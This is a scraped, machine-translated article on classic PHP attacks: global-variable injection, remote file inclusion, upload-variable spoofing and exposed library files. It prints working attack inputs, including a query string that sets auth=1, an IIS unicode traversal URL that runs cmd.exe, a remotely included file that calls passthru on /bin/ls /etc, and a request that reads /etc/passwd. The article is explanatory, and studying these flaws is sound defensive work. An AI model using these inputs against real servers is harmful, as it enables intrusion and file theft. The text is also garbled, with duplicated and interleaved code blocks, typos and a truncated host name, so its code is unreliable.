Analysis of common vulnerability attacks in PHP programs
Overview: The PHP program is not impregnable. With the widespread use of PHP, some hackers are constantly looking for trouble with PHP. Attacking through PHP program vulnerabilities is one of them. In this section, we will analyze the security of PHP from the aspects of global
variables , remote files, file uploads, library files, Session files, data types and error-prone functions.
How to attack through global variables?
Variables in PHP do not need to be declared in advance, they are automatically created the first time they are used, and their types are automatically determined based on the context. From a programmer's perspective, this is undoubtedly an extremely convenient approach. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers rarely initialize variables.
Obviously, the main function of a PHP-based application generally accepts user input (mainly form variables, uploaded files, cookies, etc.), then processes the input data, and then returns the results to the client browser. In order to make it as easy as possible for PHP code to access user input, PHP actually treats these input data as global variables.
For example:
This will display a text box and submit button. When the user clicks the submit button, "test.php" will process the user's input. When "test.php" is run, "$hello" will contain the data entered by the user in the text box. From here we should see that the attacker can create arbitrary global variables according to his wishes. If the attacker does not call "test.php" through form input, but directly enters http://server/test.php?hello=hi&setup=no in the browser address bar, then not only "$hello" will be created , "$setup" is also created.
The following user authentication code exposes security issues caused by PHP's global variables:
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?> |
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?> |
The above code first checks whether the user's password is "hello". If it matches, it sets "$auth" to "1", which means the authentication is passed. Afterwards, if "$suth" is "1", some important information will be displayed.
This code assumes that "$auth" is empty when no value is set, but an attacker can create any global variable and assign a value. By using a method like "http://server/test.php?auth=1", we This code can be tricked into believing that we have authenticated it.
Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. This can be a very difficult task if there are many variables in the program.
A common protection method is to check the variables in the array HTTP_GET[] or POST_VARS[], which depends on our submission method (GET or POST). When PHP is configured with the "track_vars" option turned on (which is the default), user-submitted variables are available in global variables and the array mentioned above.
But it is worth mentioning that PHP has four different array variables used to process user input. The HTTP_GET_VARS array is used to process variables submitted in GET mode, the HTTP_POST_VARS array is used to process variables submitted in POST mode; the HTTP_COOKIE_VARS array is used to process variables submitted as cookie headers, and for the HTTP_POST_FILES array (provided by relatively new PHP), it is completely An optional way for users to submit variables. A user request can easily store variables in these four arrays, so a secure PHP program should check these four arrays.
How to attack via remote files?
PHP is a feature-rich language that provides a large number of functions to make it easy for programmers to implement specific functions. But from a security perspective, the more functionality there is, the harder it is to keep it secure. Remote files are a good example of this problem:
|
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
n");
?> |
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
n");
?>
The above script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file on the system. However, a less obvious feature of this script is that it can read files from any other WEB or FTP site. In fact, most of PHP's file handling functions handle remote files transparently.
For example:
If "$filename" is specified as "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
The above code actually uses the unicode vulnerability on the host target to execute the dir command. This makes supporting include(), require(), include_once() and require_once() for remote files more interesting in context. The main function of these functions is to include the contents of specified files and interpret them according to PHP code. They are mainly used on library files.
<?php
include($libdir . "/languages.php");
?> |
For example:
include($libdir . "/languages.php");
<?php
passthru("/bin/ls /etc");
?> |
?> |
In the above example, "$libdir" is generally a path that has been set before executing the code. If the attacker can prevent "$libdir" from being set, then he can change this path. But the attacker can't do anything because they can only access the file languages.php in the path they specify (the "Poisonnull byte" attack in Perl has no effect on PHP). But with support for remote files, attackers can do anything. For example, an attacker can place a file languages.php on a server containing the following content:
passthru("/bin/ls /etc");
?> |
Then set "$libdir" to "http://
/", so that we can execute the above attack code on the target host, and the contents of the "/etc" directory will be returned to the customer's browser as a result .
It should be noted that the attack code will not execute its own PHP program on the server where it is located (that is, evilhost). Otherwise, the attack code will attack the server where it is located instead of executing on the target server.
How to attack through file upload?
PHP automatically supports file upload based on RFC 1867. Let’s look at the following example:
The above code allows the user to select a file from the local machine. When submit is clicked, the file will be uploaded to the server. This is obviously a useful feature, but the way PHP responds would make this feature unsafe. When PHP first receives such a request, even before it starts parsing the called PHP code, it will first accept the file from the remote user and check whether the length of the file exceeds the value defined by the "$MAX_FILE_SIZE variable". If it passes these For testing, the file will be stored in a local temporary directory.
Therefore, an attacker can send arbitrary files to the host running PHP, and the files are already stored on the server before the PHP program decides whether to accept the file upload.
Let's consider a PHP program that handles file uploads. As we said above, the file is received and stored on the server (the location is specified in the configuration file, usually /tmp), and the extension is usually random, something like " phpxXuoXG" form. The PHP program needs to upload the file's information in order to process it, and this can be done in two ways, one that was already used in PHP3, and the other that was introduced after we made a security advisory on the previous method.
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g"c:\temp\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain") |
Most PHP programs still use the old way of handling uploaded files. PHP sets four global variables to describe uploaded files, such as the above example:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=
text/plain&hello_name=hello.txt |
$hello_name = The original name of the file on the remote system (e.g"c:\temp\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain") |
Then, the PHP program starts processing the file specified by "$hello". The problem is that "$hello" is not necessarily a variable set by PHP, any remote user can specify it. If we use the following:
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt" |
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=
text/plain&hello_name=hello.txt |
This results in the following PHP global variables (of course the POST method can also be used (even Cookie)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt" |
The above form data just meets the variables expected by the PHP program, but at this time the PHP program no longer processes the uploaded file that should be on the uploader's local machine, but processes "/etc/passwd" on the server (usually causing the content exposed) files. This attack can be used to expose the contents of any sensitive file.
The new version of PHP uses HTTP_POST_FILES[] to determine the uploaded file, and also provides many functions to solve this problem. For example, there is a function used to determine whether a file is actually uploaded. But in fact there must be many PHP programs that still use the old method, so they are also vulnerable to this attack.
As a variant of the file upload attack method, let’s take a look at the following piece of code:
|
<?php
if (file_exists($theme)) // Checks the file exists on the local system (noremote files)
include("$theme");
?> |
if (file_exists($theme)) // Checks the file exists on the local system (noremote files)
include("$theme");
?>
If an attacker can control "$theme", it is obvious that he can use "$theme" to read any file on the remote system. The attacker's ultimate goal is to execute arbitrary instructions on the remote server, but he cannot use the remote file, so he must create a PHP file on the remote server. This may seem impossible at first, but file uploading does this for us. If the attacker first creates a file on the local machine containing PHP code, and then creates a form containing a file field named "theme" , and finally use this form to submit the created file containing PHP code to the above code through file upload. PHP will save the file submitted by the attacker and set the value of "$theme" to the file submitted by the attacker. In this way, the file_exists() function will pass the check and the attacker's code will be executed.
After gaining the ability to execute arbitrary instructions, the attacker obviously wants to escalate privileges or expand the results, which requires some tool sets that are not available on the server, and file uploading once again helps the attacker. An attacker can use the file upload function to upload tools, store them on the server, and then use their ability to execute commands, use chmod() to change the permissions of the file, and then execute it. For example, an attacker can bypass the firewall or IDS to upload a local root attack program and then execute it, thus gaining root privileges.
How to attack through library files?
As we discussed earlier, include() and require() are mainly to support the code base, because we usually put some frequently used functions into a separate file. This independent file is the code base. When we need to use function, we only need to include this code library into the current file.
Initially, when people developed and released PHP programs, in order to distinguish the code base from the main program code, they usually set an ".inc" extension for the code base file. However, they soon discovered that this was a mistake, because such files Cannot be correctly parsed into PHP code by the PHP interpreter. If we directly request such a file on the server, we will get the source code of the file. This is because when PHP is used as an Apache module, the PHP interpreter determines whether to parse it into PHP based on the file extension. of code. The extension is specified by the site administrator, usually ".php", ".php3" and ".php4". If important configuration data is contained in a PHP file without the appropriate extension, it is easy for a remote attacker to obtain this information.
The simplest solution is to specify a PHP file extension for each file. This can prevent the source code from being leaked, but it also creates new problems. By requesting this file, the attacker may make the file Code running in this context operates independently, which can lead to all of the attacks discussed previously.
The following is an obvious example:
In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
include("$langDir/$userLang");
?> |
In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
include("$langDir/$userLang");
?> |
"libdir/loadlanguage.php" is quite safe when called by "main.php", but because "libdir/loadlanguage" has a ".php" extension, a remote attacker can directly request this file and can arbitrarily Specify the values of "$langDir" and "$userLang".
http://www.bkjia.com/PHPjc/629797.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/629797.htmlTechArticleA summary of common vulnerability attack analysis of PHP programs: PHP programs are not impregnable. With the widespread use of PHP, some hackers We also want to find trouble with PHP all the time, entering through PHP program loopholes...